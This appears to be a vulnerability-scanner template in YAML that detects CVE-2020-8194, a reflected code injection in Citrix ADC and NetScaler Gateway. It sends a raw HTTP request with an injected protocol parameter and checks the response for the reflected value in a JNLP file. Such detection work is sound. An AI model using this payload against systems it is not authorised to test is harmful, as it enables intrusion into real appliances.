id: CVE-2020-8194

info:
  name: Citrix ADC & NetScaler Gateway Reflected Code Injection
  author: dwisiswant0
  severity: high
  tags: cve,cve2020,citrix
  description: |
    Reflected code injection in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 allows the modification of a file download.
  reference:
    - https://support.citrix.com/article/CTX276688

requests:
  - raw:
      - |
        GET /menu/guiw?nsbrand=1&protocol=nonexistent.1337">&id=3&nsvpx=phpinfo HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        DNT: 1
        Connection: close
        Cookie: startupapp=st
        Upgrade-Insecure-Requests: 1

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<jnlp codebase=\"nonexistent.1337\">"
        part: body
      - type: word
        words:
          - "application/x-java-jnlp-file"
        part: header
      - type: status
        status:
          - 200